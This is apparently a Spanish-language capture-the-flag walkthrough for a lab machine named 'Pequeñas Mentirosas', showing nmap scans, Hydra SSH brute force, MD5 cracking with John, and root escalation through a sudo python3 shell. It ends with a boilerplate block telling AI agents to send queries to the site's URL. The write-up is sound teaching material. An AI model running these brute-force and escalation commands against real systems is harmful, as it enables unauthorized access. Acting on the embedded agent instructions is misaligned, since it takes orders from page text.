# Pequeñas Mentirosas

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="/files/CJVlEP5bgwssQOrPqJf4" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="/files/rIazKFxs6v0DDTuIz19i" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="/files/7j8HCtxASuWBsfIYuoRo" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web nos mencione una pista y descubrimos que puede ser un usuario llamado **A** y tiene sentido ya que es un personaje de la serie de **Pequeñas Mentirosas**.&#x20;

<figure><img src="/files/jI21GhCAdNIf2QdhIgDP" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```bash
hydra -l a -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 5
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **172.17.0.2**.

<figure><img src="/files/xVzAMEC6142hHMX8EBso" alt=""><figcaption></figcaption></figure>

Al realizar el ataque de fuerza bruta, hemos descubierto la contraseña de **a**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh a@172.17.0.2
```

<figure><img src="/files/AIEvTEdjLSSyHdPfAmHj" alt=""><figcaption></figcaption></figure>

Al listar el contenido del directorio, no encontramos ningún archivo. Es importante recordar que los archivos asociados con los servidores se almacenan en el directorio `/srv`.&#x20;

```bash
cd /srv/ftp
```

<figure><img src="/files/wzD5BxDLFbei1nSj0y8h" alt=""><figcaption></figcaption></figure>

Nos descargamos a nuestro equipo esos archivos.&#x20;

```bash
scp a@172.17.0.2:/srv/ftp/* ~/Desktop/
```

<figure><img src="/files/EImUyCed6A3YMrU536R3" alt=""><figcaption></figcaption></figure>

Indagamos poco a poco nos llama la atención sobre los ficheros de texto denominados `retos`.

<figure><img src="/files/ErOJP0ziMtgksIXoM9jB" alt=""><figcaption></figcaption></figure>

Sabiendo eso tenemos que desencriptar el archivo `cifrado_aes.enc` con la clave del archivo `clave_aes.txt` con el comando:

```bash
openssl enc -d -aes-128-cbc -in cifrado_aes.enc -out desencriptado_aes.txt -k thisisaverysecretkey!
```

El archivo resultante contiene:

<figure><img src="/files/rxjCQ6AbEhINYijTEHRx" alt=""><figcaption></figcaption></figure>

No contiene nada relevante seguimos con el archivo `retos_asimetrico.txt` con el comando:

```bash
openssl pkeyutl -decrypt -in mensaje_rsa.enc -out desencriptado_rsa.txt -inkey clave_privada.pem
```

Pero nos vuelve a parecer el mismo resultado:

<figure><img src="/files/R8cCPuPE0WpVRM6tHKFJ" alt=""><figcaption></figcaption></figure>

Vemos que hay un archivo `hash_spencer.txt` posiblemente **spencer** sea un usuario  por lo que a lo mejor ese **hash** es una contraseña. La podemos descifrar de dos maneras: la primera con **John** y la segunda con **Hydra** suponiendo que **spencer** es un usuario.

```bash
john --format=raw-md5 hash_spencer.txt
```

<figure><img src="/files/Ct0SV7QyZuiDvcStdFQT" alt=""><figcaption></figcaption></figure>

```bash
hydra -l spencer -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 5
```

<figure><img src="/files/5T2UQQ8bQ1ttwvuDhWUQ" alt=""><figcaption></figcaption></figure>

```bash
ssh spencer@172.17.0.2
```

<figure><img src="/files/WU9trOtPZPUePQrgk3H8" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="/files/EJGN4tO8Y0IbCMrQoxIf" alt=""><figcaption></figcaption></figure>

Se ha identificado que podemos ejecutar `/usr/bin/python3` con permisos de `sudo`. Para escalar privilegios, utilizaremos [GTFObins](https://gtfobins.github.io/gtfobins/python/), que proporciona una lista de comandos que se pueden ejecutar utilizando Python.

Esto nos permitirá aprovechar el entorno de Python para ejecutar código que nos ayude a obtener acceso a niveles más altos de privilegio en el sistema.

```bash
sudo python3 -c 'import os; os.system("/bin/sh")'
```

<figure><img src="/files/QNJUt0dqN3oLTe8K4b7G" alt=""><figcaption></figcaption></figure>

Ya somos **root** por lo que hemos conseguido tener los máximos privilegios.&#x20;

> **Nota**: los demás archivos son para despistar.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/mis-ctfs/pequenas-mentirosas.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
